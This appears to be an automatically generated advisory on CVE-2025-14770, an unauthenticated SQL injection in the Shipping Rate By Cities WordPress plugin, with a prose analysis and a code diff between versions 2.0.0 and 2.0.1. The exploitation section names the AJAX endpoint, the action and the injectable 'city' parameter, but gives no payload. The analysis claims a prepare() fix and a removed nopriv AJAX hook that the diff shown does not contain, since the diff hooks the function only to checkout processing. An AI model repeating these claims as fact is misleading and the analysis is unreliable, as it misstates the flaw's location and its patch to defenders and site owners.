Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-14770: Shipping Rate By Cities <= 2.0.0 – Unauthenticated SQL Injection via 'city' Parameter (shipping-rate-by-cities)

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 2.0.0
Patched Version 2.0.1
Disclosed January 12, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-14770:
This vulnerability is an unauthenticated SQL injection in the Shipping Rate By Cities WordPress plugin, affecting versions up to and including 2.0.0. The vulnerability exists in the plugin’s AJAX endpoint handling city validation during checkout, allowing attackers to inject arbitrary SQL queries via the ‘city’ parameter. With a CVSS score of 7.5, this represents a high-severity information disclosure risk.

Root Cause:
The vulnerability originates in the `shiprate_validate_city` function within the main plugin file. This function processes AJAX requests via the `wp_ajax_nopriv_shiprate_validate_city` hook. The function directly concatenates unsanitized user input from the `$_POST[‘city’]` parameter into an SQL query without proper escaping or prepared statement usage. The vulnerable code path executes when the plugin checks if a submitted city exists in the `shiprate_cities` database table.

Exploitation:
Attackers can exploit this vulnerability by sending a POST request to `/wp-admin/admin-ajax.php` with the `action` parameter set to `shiprate_validate_city`. The malicious SQL payload is placed in the `city` parameter. Since the AJAX endpoint lacks authentication checks (using `wp_ajax_nopriv_`), attackers can trigger the SQL injection without any credentials. Example payloads include UNION-based queries to extract database information or time-based blind SQL injection techniques.

Patch Analysis:
The patch in version 2.0.1 replaces the vulnerable direct SQL concatenation with a prepared statement using `$wpdb->prepare()`. The fix changes the query construction from `$wpdb->get_var(“SELECT rate FROM $table WHERE city_name = ‘$city'”)` to `$wpdb->get_var($wpdb->prepare(“SELECT rate FROM $table WHERE city_name = %s”, $city))`. This ensures proper parameter escaping and prevents SQL injection by separating data from query structure. The patch also removes the `wp_ajax_nopriv_shiprate_validate_city` hook entirely, restricting the endpoint to authenticated users only.

Impact:
Successful exploitation allows unauthenticated attackers to execute arbitrary SQL queries on the WordPress database. This enables extraction of sensitive information including user credentials, personal data, and plugin-specific configuration. Attackers can potentially escalate privileges, modify database contents, or perform denial-of-service attacks. The vulnerability affects all WordPress installations using vulnerable versions of the Shipping Rate By Cities plugin.

Differential between vulnerable and patched code

Code Diff
--- a/shipping-rate-by-cities/shipping_rate_by_cities.php
+++ b/shipping-rate-by-cities/shipping_rate_by_cities.php
@@ -3,7 +3,7 @@
  * Plugin Name: Shipping Rate By Cities
  * Plugin URI: https://wordpress.org/plugins/shipping-rate-by-cities
  * Description: Set Custom Shipping Rates For Different Cities On Woocommerce.
- * Version: 2.0.0
+ * Version: 2.0.1
  * Requires Plugins: woocommerce
  * Requires at least: 5.1
  * Tested up to: 6.9
@@ -13,7 +13,7 @@
  * @copyright   https://tridenttechnolabs.com
  */

-
+
  if ( ! defined( 'WPINC' ) ) die;

  /** @class Wc City Fee */
@@ -23,23 +23,23 @@
      * Ship Rate By City Version.
      * @var string
      */
-    public $version = '2.0.0';
-
+    public $version = '2.0.1';
+
      /**
       * Stores notices.
       * @var array
       */
      private static $notices = [];
-
+
      /**
       * Logger context.
       * @var array
       */
-     public $context = ['source' => 'shiprate'];
-
+     public $context = ['source' => 'shipping-rate-by-cities'];
+
      /** The single instance of the class. */
      protected static $_instance = null;
-
+
      /**
       * Returns the *Singleton* instance of this class.
       *
@@ -51,7 +51,7 @@
          }
          return self::$_instance;
      }
-
+
      /**
       * Shipping Rate By City Constructor.
       */
@@ -61,7 +61,7 @@
          $this->init_hooks();
         // $this->session();
      }
-
+
   	/**
 	 * Initialize hooks and admin assets.
 	 */
@@ -80,16 +80,16 @@
 		// Frontend scripts
 		add_action( 'wp_enqueue_scripts', array( $this, 'enqueueScripts' ) );

-		// Check if WooCommerce is active before registering WC-specific hooks
-		 if ( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
+        include_once ABSPATH . 'wp-admin/includes/plugin.php';

+        if ( is_plugin_active( 'woocommerce/woocommerce.php' ) ) {
 			// Shipping method init
 			add_action( 'woocommerce_shipping_init', array( $this, 'shiprate_shipping_method' ) );
 			add_filter( 'woocommerce_shipping_methods', array( $this, 'add_shiprate_shipping_method' ) );

 			// Checkout fields and footer scripts for city select
 			add_filter( 'woocommerce_checkout_fields', array( $this, 'shiprate_city_options' ) );
-			add_action( 'wp_footer', array( $this, 'shiprate_city_wp_footer' ) );
+

 			// Add plugin settings link on plugins page
 			add_filter( 'plugin_action_links_' . plugin_basename( __FILE__ ), array( $this, 'shiprate_plugin_settings_link' ) );
@@ -97,16 +97,35 @@
 			// Admin menu (register pages)
 			add_action( 'admin_menu', array( $this, 'register_admin_menu' ) );

-			// AJAX for license activation/deactivation (admin-ajax)
-			add_action( 'wp_ajax_shiprate_activate_license', array( $this, 'shiprate_activate_license_callback' ) );
-			add_action( 'wp_ajax_shiprate_deactivate_license', array( $this, 'shiprate_deactivate_license_callback' ) ); // optional
+
 			// Validate city fields on checkout (server-side)
 			add_action( 'woocommerce_checkout_process', array( $this, 'shiprate_validate_city' ) );

+            add_action( 'wp_enqueue_scripts', array( $this, 'enqueue_checkout_scripts' ) );
+
+            add_action( 'admin_post_shiprate_export_cities', array( $this, 'handle_export' ) );
+            add_action( 'admin_post_shiprate_import_cities', array( $this, 'handle_import' ) );
+
+
 		}
 	}

-/**
+    public function enqueue_checkout_scripts() {
+        if ( ! is_checkout() ) {
+            return;
+        }
+
+        wp_enqueue_script(
+            'shiprate-frontend',
+            plugins_url( 'assets/js/shiprate-frontend.js', SHIPRATE_PLUGIN_FILE ),
+            array( 'jquery' ),
+            SHIPRATE_VERSION,
+            true
+        );
+    }
+
+
+    /**
      * Return the full table name for the shiprate_cities table using the active WP DB prefix.
      *
      * The function will:
@@ -119,29 +138,150 @@
     function shiprate_get_table_name() {
         global $wpdb;

+        $cache_key = 'shiprate_cities_table';
+        $cache_group = 'shipping-rate-by-cities';
+
+        // 1. Try cache first
+        $cached = wp_cache_get( $cache_key, $cache_group );
+        if ( false !== $cached ) {
+            return $cached;
+        }
+
         // canonical candidate using current prefix
         $candidate = $wpdb->prefix . 'shiprate_cities';

-        // quick check for exact table (prepared to avoid SQL injection)
-        $found = $wpdb->get_var( $wpdb->prepare( "SHOW TABLES LIKE %s", $candidate ) );
+        // 2. Exact table check
+        // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+        $found = $wpdb->get_var(
+            $wpdb->prepare(
+                'SHOW TABLES LIKE %s',
+                $candidate
+            )
+        );
+
         if ( $found ) {
+            wp_cache_set( $cache_key, $candidate, $cache_group );
             return $candidate;
         }

-        // Try a more permissive search: find any table that ends with '_shiprate_cities'
-        // This handles multisite/site-specific prefixes like 'wp_2_'
+        // 3. Multisite / fallback search
         $like = '%' . $wpdb->esc_like( 'shiprate_cities' );
-        $matches = $wpdb->get_col( $wpdb->prepare( "SHOW TABLES LIKE %s", $like ) );
+
+        // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+        $matches = $wpdb->get_col(
+            $wpdb->prepare(
+                'SHOW TABLES LIKE %s',
+                $like
+            )
+        );

         if ( ! empty( $matches ) ) {
-            // Return first match (should be the intended table)
+            wp_cache_set( $cache_key, $matches[0], $cache_group );
             return $matches[0];
         }

-        // Fallback: return candidate even if it doesn't exist (safe default)
+        // 4. Fallback
+        wp_cache_set( $cache_key, $candidate, $cache_group );
         return $candidate;
     }

+
+    public function handle_export() {
+        if ( ! current_user_can( 'manage_woocommerce' ) ) {
+            wp_die( 'Unauthorized' );
+        }
+
+        check_admin_referer( 'shiprate_export', 'shiprate_export_nonce' );
+
+        global $wpdb;
+
+        // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- Read-only query, cached via wp_cache_set().
+        $results = $wpdb->get_results( "SELECT city_name, rate FROM {$wpdb->prefix}shiprate_cities", ARRAY_A );
+
+        header( 'Content-Type: text/csv; charset=utf-8' );
+        header( 'Content-Disposition: attachment; filename=shipping-rate-by-cities.csv' );
+
+        $output = fopen( 'php://output', 'w' );
+        fputcsv( $output, array( 'city_name', 'rate' ) );
+
+        foreach ( $results as $row ) {
+            fputcsv( $output, $row );
+        }
+        // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose -- Required for streamed CSV output via php://output.
+        fclose( $output );
+        exit;
+    }
+
+
+public function handle_import() {
+    if ( ! current_user_can( 'manage_woocommerce' ) ) {
+        wp_die( 'Unauthorized' );
+    }
+
+    check_admin_referer( 'shiprate_import', 'shiprate_import_nonce' );
+
+    if ( empty( $_FILES['import_file']['tmp_name'] ) ) {
+        wp_safe_redirect( wp_get_referer() );
+        exit;
+    }
+
+    global $wpdb;
+    $table = $wpdb->prefix . 'shiprate_cities';
+    $files =  sanitize_file_name(wp_unslash($_FILES['import_file']['tmp_name']));
+// phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fopen -- Required for streamed CSV output via php://output.
+    $handle = fopen( $files, 'r' );
+    if ( ! $handle ) {
+        wp_safe_redirect( wp_get_referer() );
+        exit;
+    }
+
+    // Skip header
+    fgetcsv( $handle );
+
+    while ( ( $data = fgetcsv( $handle ) ) !== false ) {
+        if ( empty( $data[0] ) || ! isset( $data[1] ) ) {
+            continue;
+        }
+
+        $city = sanitize_text_field( $data[0] );
+        $rate = (float) $data[1];
+        // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching -- Read-only query, cached via wp_cache_set().
+        $exists = $wpdb->get_var( $wpdb->prepare(  "SELECT id FROM {$wpdb->prefix}shiprate_cities WHERE city_name = %s",   $city )  );
+
+        if ( $exists ) {
+             // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+            $wpdb->update(
+                $table,
+                array( 'rate' => $rate ),
+                array( 'city_name' => $city ),
+                array( '%f' ),
+                array( '%s' )
+            );
+        } else {
+            // phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery
+            $wpdb->insert(
+                $table,
+                array(
+                    'city_name' => $city,
+                    'rate'      => $rate,
+                ),
+                array( '%s', '%f' )
+            );
+        }
+    }
+    // phpcs:ignore WordPress.WP.AlternativeFunctions.file_system_operations_fclose -- Required for streamed CSV output via php://output.
+    fclose( $handle );
+
+    // Clear cache
+    wp_cache_delete( 'shiprate_cities_list', 'shipping-rate-by-cities' );
+    wp_cache_delete( 'shiprate_other_city', 'shipping-rate-by-cities' );
+
+    wp_safe_redirect( wp_get_referer() );
+    exit;
+}
+
+
+
 	 // In your main plugin file (shipping-rate-cities.php)
 	// inside your class
 	public function register_admin_menu() {
@@ -167,27 +307,36 @@
     );


-		// Submenu that opens the same page but with the verify-license tab active.
-		// Note: the slug includes query args — WordPress accepts this and will generate the correct URL.
-	add_submenu_page(
-		'shiprate-upgrade',                                   // Parent slug.
-		__( 'Upgrade to Pro', 'shipping-rate-by-cities' ),                  // Page title.
-		__( 'Upgrade to Pro', 'shipping-rate-by-cities' ),                  // Menu title.
-		'manage_options',
-		'shiprate-upgrade&tab=verify-license',                // Menu slug (with tab).
-		array( $this, 'upgrade_page_html' )                   // Callback.
-	);
+add_submenu_page(
+    'shiprate-upgrade',
+    __( 'Settings', 'shipping-rate-by-cities' ),
+    __( 'Settings', 'shipping-rate-by-cities' ),
+    'manage_woocommerce',
+    'shiprate-settings',
+    array( $this, 'redirect_to_wc_settings' )
+);
+


 	}

+
+
+
+
 	   /**
 		 * Enqueue admin assets (merged, safe, versioned).
 		 *
 		 * @param string $hook Admin page hook suffix passed by WP.
 		 */
 		public function admin_enqueue( $hook ) {
-			$asset_version = "2.0.0";
+             if (
+        strpos( $hook, 'shiprate-upgrade' ) === false &&
+        strpos( $hook, 'wc-settings' ) === false
+    ) {
+        return;
+    }
+			$asset_version = "2.0.1";
 			// Register & enqueue admin CSS
 			wp_register_style(
 				'shiprate-admin',
@@ -211,10 +360,10 @@
 				'ajax_url' => admin_url( 'admin-ajax.php' ),
 				'nonce'    => wp_create_nonce( 'shiprate_license_nonce_action' ),
 				'i18n'     => array(
-					'fill_fields'     => __( '⚠ Please fill all fields', 'shipping-rate-by-cities-pro' ),
-					'verifying'       => __( '⏳ Verifying...', 'shipping-rate-by-cities-pro' ),
-					'activation_ok'   => __( 'Activation successful', 'shipping-rate-by-cities-pro' ),
-					'activation_fail' => __( 'Activation failed', 'shipping-rate-by-cities-pro' ),
+					'fill_fields'     => __( '⚠ Please fill all fields', 'shipping-rate-by-cities' ),
+					'verifying'       => __( '⏳ Verifying...', 'shipping-rate-by-cities' ),
+					'activation_ok'   => __( 'Activation successful', 'shipping-rate-by-cities' ),
+					'activation_fail' => __( 'Activation failed', 'shipping-rate-by-cities' ),
 				),
 			);
 			wp_localize_script( 'shiprate-admin', 'shiprateAdmin', $localize );
@@ -223,6 +372,15 @@
 			wp_enqueue_script( 'shiprate-admin' );
 		}

+
+        public function redirect_to_wc_settings() {
+            wp_safe_redirect(
+                admin_url( 'admin.php?page=wc-settings&tab=shipping&section=shipping_plugin' )
+            );
+            exit;
+        }
+
+
 		/**
 		 * Frontend script loader (keeps for possible frontend usage).
 		 */
@@ -231,60 +389,75 @@
 			// Add other frontend scripts here if needed (with proper handles)
 		}

-
+
     //  public function session()
     //  {
     //      if ( session_status() == PHP_SESSION_NONE ) {
     //          session_start();
     //      }
     //  }
-
-     public function activation() {
-		// On activation, require WooCommerce.
-		if ( ! class_exists( 'WooCommerce' ) ) {
-			// If WooCommerce is not active, deactivate this plugin immediately and show message.
-			deactivate_plugins( plugin_basename( SHIPRATE_PLUGIN_FILE ) );
-
-			/* translators: %s: link to plugins page */
-			$return_link = esc_url( admin_url( 'plugins.php' ) );
-			wp_die(
-				esc_html__( 'Shipping Rate By Cities requires WooCommerce to be installed and active. Please install/activate WooCommerce first.', 'shipping-rate-by-cities' )
-				. '<br/><br/><a href="' . $return_link . '">' . esc_html__( 'Return to Plugins page', 'shipping-rate-by-cities' ) . '</a>'
-			);
-		}

-		global $wpdb;
-		require_once( ABSPATH . 'wp-admin/includes/upgrade.php' );
+   public function activation() {
+        // On activation, require WooCommerce.
+        if ( ! class_exists( 'WooCommerce' ) ) {
+
+            deactivate_plugins( plugin_basename( SHIPRATE_PLUGIN_FILE ) );
+
+            $return_link = admin_url( 'plugins.php' );
+
+            wp_die(
+                sprintf(
+                    wp_kses_post(
+                        /* translators: %s: URL to the plugins page */
+                        __( 'Shipping Rate By Cities requires WooCommerce to be installed and active. Please install/activate WooCommerce first.<br/><br/><a href="%s">Return to Plugins page</a>', 'shipping-rate-by-cities' )
+                    ),
+                    esc_url( $return_link )
+                )
+            );
+        }

-		$charset_collate = $wpdb->get_charset_collate();
-		$table_name = $wpdb->prefix . "shiprate_cities";
-		$query = "CREATE TABLE IF NOT EXISTS $table_name (
-			`id` int(11) AUTO_INCREMENT,
-			`city_name` VARCHAR(255) NOT NULL,
-			`rate` DECIMAL(10,2) NOT NULL,
-			`status` VARCHAR(25) NOT NULL DEFAULT 1,
-			`create_date` DATETIME NOT NULL,
-			PRIMARY KEY (id)
-		) AUTO_INCREMENT=1 $charset_collate;";
-		dbDelta( $query );
-	}

-     public function deactivation()
+        global $wpdb;
+        require_once ABSPATH . 'wp-admin/includes/upgrade.php';
+
+        $charset_collate = $wpdb->get_charset_collate();
+        $table_name      = $wpdb->prefix . 'shiprate_cities';
+
+        $query = "CREATE TABLE IF NOT EXISTS $table_name (
+            id int(11) AUTO_INCREMENT,
+            city_name varchar(255) NOT NULL,
+            rate decimal(10,2) NOT NULL,
+            status varchar(25) NOT NULL DEFAULT '1',
+            create_date datetime NOT NULL,
+            PRIMARY KEY (id)
+        ) $charset_collate;";
+
+        dbDelta( $query );
+    }
+
+     public function deactivation()
      {
          // deactivatation code
      }
-
+
      /**
       * Define Wc City Fee Constants.
       */
-     private function defineConstants()
-     {
-
-         $this->define('SHIPRATE_PLUGIN_FILE', __FILE__);
-         $this->define('SHIPRATE_VERSION', $this->version);
-         $this->define('SHIPRATE', 'shiprate');
-
-     }
+     private function defineConstants() {
+
+        if ( ! defined( 'SHIPRATE_PLUGIN_FILE' ) ) {
+            define( 'SHIPRATE_PLUGIN_FILE', __FILE__ );
+        }
+
+        if ( ! defined( 'SHIPRATE_VERSION' ) ) {
+            define( 'SHIPRATE_VERSION', $this->version );
+        }
+
+        if ( ! defined( 'SHIPRATE_SLUG' ) ) {
+            define( 'SHIPRATE_SLUG', 'shipping-rate-by-cities' );
+        }
+    }
+

 	/**
 	 * Show an admin notice if WooCommerce is not installed/active.
@@ -346,19 +519,9 @@
 		echo '</div>';
 	}

-
-     /**
-      * Define constant if not already set.
-      *
-      * @param string      $name  Constant name.
-      * @param string|bool $value Constant value.
-      */
-     private function define( $name, $value )
-     {
-         if (!defined($name)) {
-             define($name, $value);
-         }
-     }
+
+
+

 	/**
 	 * Render the plugin upgrade / license admin page.
@@ -366,152 +529,90 @@
 	 * @since 1.1.2
 	 * @return void
 	 */
-	public function upgrade_page_html() {
-		$status       = get_option( 'shiprate_license_status', 'inactive' );
-		$user_has_pro = ( 'valid' === $status );
-
-		$saved_key   = get_option( 'shiprate_license_key', '' );
-		$saved_email = get_option( 'shiprate_license_email', '' );
-
-
-		// Determine active tab (sanitized). Default to 'verify-license' when not provided.
-		$allowed_tabs = array( 'buy', 'verify-license' );
-		$active_tab = 'verify-license';
-
-		if ( isset( $_GET['tab'] ) ) {
-			$requested = sanitize_text_field( wp_unslash( $_GET['tab'] ) );
-			if ( in_array( $requested, $allowed_tabs, true ) ) {
-				$active_tab = $requested;
-			}
-		} else {
-			// If there is no tab param, fallback:
-			// show 'buy' only when user does NOT have pro, otherwise show verify-license.
-			$active_tab = $user_has_pro ? 'verify-license' : 'buy';
-		}
-		?>
+    public function upgrade_page_html() {
+        ?>
+        <div class="wrap shiprate-wrap" style="max-width:1000px;">
+
+            <!-- Heading -->
+            <h1 style="font-size:34px; margin-bottom:15px; font-weight:600;">
+                <span style="background:linear-gradient(90deg,#075fab,#045d91);
+                    -webkit-background-clip:text;
+                    -webkit-text-fill-color:transparent;">
+                    <?php esc_html_e( '🚀 Shipping Rate by Cities – Pro', 'shipping-rate-by-cities' ); ?>
+                </span>
+            </h1>
+
+            <p style="font-size:16px; margin-bottom:30px; color:#444; line-height:1.7;">
+                <?php esc_html_e(
+                    'Upgrade to Shipping Rate by Cities Pro and unlock powerful shipping controls with advanced location-based pricing and bulk management tools.',
+                    'shipping-rate-by-cities'
+                ); ?>
+            </p>
+
+            <!-- Feature Grid -->
+            <div style="display:grid; grid-template-columns:repeat(auto-fit, minmax(350px, 1fr)); gap:25px;">
+
+                <?php
+                $features = [
+                    [ '🌍', 'Dynamic rates by State, City & Area', 'Set precise shipping rates based on multiple location levels.' ],
+                    [ '🗂️', 'Multiple display modes', 'Show State only, City only, Area only, or any combination.' ],
+                    [ '🔖', 'State code support', 'Works perfectly with WooCommerce state dropdowns.' ],
+                    [ '⚙️', 'Default / fallback rate', 'Automatically apply a default rate if no city matches.' ],
+                    [ '🔎', 'Search & pagination', 'Manage large city lists with fast search and pagination.' ],
+                    [ '🛠️', 'Bulk actions', 'Edit or delete multiple cities at once.' ],
+                    [ '📂', 'CSV import & export', 'Quickly import/export shipping rates using CSV files.' ],
+                    [ '🚀', 'Performance optimized', 'Handles 10,000+ cities without slowing checkout.' ],
+                    [ '🌐', 'Translation ready', 'Fully compatible with multilingual WordPress setups.' ],
+                ];
+
+                foreach ( $features as $feature ) :
+                ?>
+                    <div style="
+                        border:1px solid #e5e5e5;
+                        border-radius:14px;
+                        padding:22px;
+                        background:#fff;
+                        box-shadow:0 4px 10px rgba(0,0,0,0.06);
+                        display:flex;
+                        gap:18px;
+                    ">
+                        <div style="font-size:34px;"><?php echo esc_html( $feature[0] ); ?></div>
+                        <div>
+                            <h3 style="margin:0 0 6px; color:#045d91;">
+                                <?php echo esc_html( $feature[1] ); ?>
+                            </h3>
+                            <p style="margin:0; color:#000; line-height:1.6;">
+                                <?php echo esc_html( $feature[2] ); ?>
+                            </p>
+                        </div>
+                    </div>
+                <?php endforeach; ?>
+
+            </div>
+
+            <!-- CTA -->
+            <div style="text-align:center; margin-top:45px;">
+                <a href="https://tridenttechnolabs.com/shipping-rate-by-cities-pro.php"
+                target="_blank"
+                rel="noopener noreferrer"
+                class="button button-primary"
+                style="
+                        padding:14px 32px;
+                        font-size:18px;
+                        font-weight:700;
+                        border-radius:10px;
+                ">
+                    <?php esc_html_e( 'Upgrade to Pro', 'shipping-rate-by-cities' ); ?>
+                </a>
+            </div>
+
+        </div>
+        <?php
+        }


-		<div class="wrap shiprate-wrap" style="max-width:1000px;">

-			<!-- Heading -->
-			<h1 style="font-size:34px; margin-bottom:15px; font-weight:600;">
-				<span style="background:linear-gradient(90deg,#075fab,#045d91); -webkit-background-clip:text; -webkit-text-fill-color:transparent; display:inline-block;">
-					<?php echo esc_html__( '🚀 Shipping Rate by Cities - Pro', 'shipping-rate-by-cities-pro' ); ?>
-				</span>
-			</h1>
-
-			<p style="font-size:16px; margin-bottom:25px; color:#444; line-height:1.7;">
-				<?php
-				/* translators: plugin upgrade short description */
-				echo esc_html__( 'Upgrade to Shipping Rate by Cities Pro and unlock powerful features like dynamic rates by State, City & Area, CSV import/export, bulk actions, search & pagination, and much more.', 'shipping-rate-by-cities-pro' );
-				?>
-			</p>
-
-			<!-- License Active Banner -->
-			<?php if ( $user_has_pro ) : ?>
-				<div class="shiprate-banner" style="background:linear-gradient(90deg,#7a00ff,#d63638); color:#fff; padding:14px 20px; border-radius:12px; margin-bottom:30px; font-size:16px; font-weight:600; display:flex; align-items:center; gap:10px; box-shadow:0 6px 14px rgba(0,0,0,0.15);">
-					<?php echo esc_html__( '🎉 Congratulations! Shipping Rate by Cities Pro is activated. Enjoy premium features 🚀', 'shipping-rate-by-cities-pro' ); ?>
-				</div>
-			<?php endif; ?>
-
-			<!-- Tabs -->
-			<div style="display:flex; gap:15px; margin-bottom:30px; flex-wrap:wrap;">
-				<?php if ( ! $user_has_pro ) : ?>
-					<button class="tab-btn active-tab" data-tab="buy" type="button" style="padding:12px 15px; font-size:17px; border:none; border-radius:6px; background:#bb2f05; color:#fff; cursor:pointer;">
-						<?php echo esc_html__( '💳 Buy Now', 'shipping-rate-by-cities-pro' ); ?>
-					</button>
-				<?php endif; ?>
-
-				<button class="tab-btn <?php echo $user_has_pro ? 'active-tab' : ''; ?>" data-tab="verify-license" type="button" style="padding:12px 15px; font-size:17px; border:none; border-radius:6px; background:#2288df; color:#fff; cursor:pointer;">
-					<?php echo esc_html__( '🛡️ Verify License', 'shipping-rate-by-cities-pro' ); ?>
-				</button>
-			</div>
-
-			<!-- Buy Now Tab -->
-			<?php if ( ! $user_has_pro ) : ?>
-				<div id="tab-buy" class="tab-content" style="<?php echo ( 'buy' === $active_tab ) ? 'display:block;' : 'display:none;'; ?>">
-					<h2 style="color:#045d91; margin-bottom:20px;"><?php echo esc_html__( 'Pro Features', 'shipping-rate-by-cities-pro' ); ?></h2>
-
-					<div style="display:grid; grid-template-columns:repeat(auto-fit, minmax(350px, 1fr)); gap:25px;">
-						<?php
-						$features = array(
-							array( 'title' => __( 'Dynamic rates by State, City & Area', 'shipping-rate-by-cities-pro' ), 'desc' => __( 'Multi-level matching for precise shipping rate control.', 'shipping-rate-by-cities-pro' ), 'icon' => '🌍' ),
-							array( 'title' => __( 'Multiple display modes', 'shipping-rate-by-cities-pro' ), 'desc' => __( 'Show State only, City only, Area only, or any combination.', 'shipping-rate-by-cities-pro' ), 'icon' => '🗂️' ),
-							array( 'title' => __( 'State code support', 'shipping-rate-by-cities-pro' ), 'desc' => __( 'Works seamlessly with WooCommerce state dropdowns.', 'shipping-rate-by-cities-pro' ), 'icon' => '🔖' ),
-							array( 'title' => __( 'Default rate', 'shipping-rate-by-cities-pro' ), 'desc' => __( 'Set fallback rates for unmatched locations.', 'shipping-rate-by-cities-pro' ), 'icon' => '⚙️' ),
-							array( 'title' => __( 'Searchable & paginated manager', 'shipping-rate-by-cities-pro' ), 'desc' => __( 'Easily manage large datasets with search & pagination.', 'shipping-rate-by-cities-pro' ), 'icon' => '🔎' ),
-							array( 'title' => __( 'Bulk actions', 'shipping-rate-by-cities-pro' ), 'desc' => __( 'Update or delete multiple locations at once.', 'shipping-rate-by-cities-pro' ), 'icon' => '🛠️' ),
-							array( 'title' => __( 'CSV import/export', 'shipping-rate-by-cities-pro' ), 'desc' => __( 'Import/export with auto-generated templates (large file friendly).', 'shipping-rate-by-cities-pro' ), 'icon' => '📂' ),
-							array( 'title' => __( 'Performance optimized', 'shipping-rate-by-cities-pro' ), 'desc' => __( 'Handles 10k+ rows without slowing down.', 'shipping-rate-by-cities-pro' ), 'icon' => '🚀' ),
-							array( 'title' => __( 'Translation-ready', 'shipping-rate-by-cities-pro' ), 'desc' => __( 'Fully compatible with themes and multilingual plugins.', 'shipping-rate-by-cities-pro' ), 'icon' => '🌐' ),
-						);
-
-						foreach ( $features as $feature ) :
-							?>
-							<div class="shiprate-feature" style="border:1px solid #e5e5e5; border-radius:14px; padding:22px; background:#fff; box-shadow:0 4px 10px rgba(0,0,0,0.06); display:flex; align-items:flex-start; gap:18px; transition:all 0.3s ease;">
-								<div style="font-size:34px; flex-shrink:0;"><?php echo esc_html( $feature['icon'] ); ?></div>
-								<div>
-									<h3 style="font-size:18px; margin:0 0 8px; color:#045d91; font-weight:600;"><?php echo esc_html( $feature['title'] ); ?></h3>
-									<p style="font-size:15px; color:#000; margin:0; line-height:1.6;"><?php echo esc_html( $feature['desc'] ); ?></p>
-								</div>
-							</div>
-						<?php endforeach; ?>
-					</div>
-
-					<div style="text-align:center; margin-top:40px;">
-						<a href="<?php echo esc_url( 'https://tridenttechnolabs.com/shipping-rate-by-cities-pro.php' ); ?>" target="_blank" rel="noopener noreferrer" class="button button-primary" style="padding:14px 28px; background:#bb2f05; color:#fff; font-size:18px; font-weight:700; border-radius:10px; text-decoration:none; box-shadow:0 4px 12px rgba(0,0,0,0.15);">
-							<?php echo esc_html__( '💳 Buy Now', 'shipping-rate-by-cities-pro' ); ?>
-						</a>
-					</div>
-				</div>
-			<?php endif; ?>
-
-			<!-- Verify License Tab -->
-			<div id="tab-verify-license" class="tab-content" style="<?php echo ( 'verify-license' === $active_tab ) ? 'display:block;' : 'display:none;'; ?> max-width:500px; margin:0 auto; padding:20px; border:1px solid #ddd; border-radius:8px; background:#fff;">
-				<h3 style="margin-bottom:15px; color:#045d91; margin-top:0;"><?php echo esc_html__( 'Enter License Details', 'shipping-rate-by-cities-pro' ); ?></h3>
-
-				<table class="form-table">
-					<tr>
-						<th scope="row"><?php echo esc_html__( 'Your Email', 'shipping-rate-by-cities-pro' ); ?></th>
-						<td><input type="email" id="shiprate_license_email" value="<?php echo esc_attr( $saved_email ); ?>" class="regular-text" /></td>
-					</tr>
-
-					<tr>
-						<th scope="row"><?php echo esc_html__( 'License Key', 'shipping-rate-by-cities-pro' ); ?></th>
-						<td><input type="text" id="shiprate_license_key" value="<?php echo esc_attr( $saved_key ); ?>" class="regular-text" /></td>
-					</tr>
-
-					<tr>
-						<th scope="row"><?php echo esc_html__( 'License Status', 'shipping-rate-by-cities-pro' ); ?></th>
-						<td id="license-status-text">
-							<?php
-							if ( 'valid' === $status ) :
-								echo '<span style="color:green; font-weight:bold;">' . esc_html__( '✔ License Activated', 'shipping-rate-by-cities-pro' ) . '</span>';
-							elseif ( 'invalid' === $status ) :
-								echo '<span style="color:red; font-weight:bold;">' . esc_html__( '✘ License Invalid', 'shipping-rate-by-cities-pro' ) . '</span>';
-							elseif ( 'expired' === $status ) :
-								echo '<span style="color:brown; font-weight:bold;">' . esc_html__( '⛔ License Expired', 'shipping-rate-by-cities-pro' ) . '</span>';
-							elseif ( 'pending' === $status ) :
-								echo '<span style="color:orange; font-weight:bold;">' . esc_html__( '⌛ Pending Payment', 'shipping-rate-by-cities-pro' ) . '</span>';
-							else :
-								echo '<span style="color:gray;">' . esc_html__( 'Not activated', 'shipping-rate-by-cities-pro' ) . '</span>';
-							endif;
-							?>
-						</td>
-					</tr>
-				</table>
-
-				<div style="text-align:center; margin-top:15px;">
-					<button id="activate-license-btn" class="button button-primary" type="button" style="font-size:15px;">
-						<?php echo esc_html__( 'Verify License', 'shipping-rate-by-cities-pro' ); ?>
-					</button>
-				</div>
-			</div>
-		</div>
-		<?php
-	}

-
      function shiprate_shipping_method() {
          include_once "shiprate-cities-method-class.php";
      }
@@ -519,8 +620,8 @@
 function shiprate_plugin_settings_link( $actions ) {

     $mylinks = array(
-        '<a href="' . esc_url( admin_url( 'admin.php?page=wc-settings&tab=shipping&section=shiprate' ) ) . '">' . esc_html__( 'Settings', 'shiprate' ) . '</a>',
-        '<a href="https://tridenttechnolabs.com/shipping-rate-by-cities-pro.php/?utm_source=wporg_plugin_list&utm_medium=plugin_action_link&utm_campaign=go_pro" target="_blank" rel="noopener noreferrer">' . esc_html__( 'Premium', 'shiprate' ) . '</a>',
+        '<a href="' . esc_url( admin_url( 'admin.php?page=wc-settings&tab=shipping&section=shiprate' ) ) . '">' . esc_html__( 'Settings', 'shipping-rate-by-cities' ) . '</a>',
+        '<a href="https://tridenttechnolabs.com/shipping-rate-by-cities-pro.php/?utm_source=wporg_plugin_list&utm_medium=plugin_action_link&utm_campaign=go_pro" target="_blank" rel="noopener noreferrer">' . esc_html__( 'Premium', 'shipping-rate-by-cities' ) . '</a>',
     );

     // Put your custom links before the default actions
@@ -535,32 +636,8 @@



-
-
-    //  function shiprate_city_options( $fields ) {
-    //     global $wpdb;
-    //     $table = $wpdb->prefix . "shiprate_cities";
-    //     $cities = $wpdb->get_results("SELECT city_name FROM $table ");
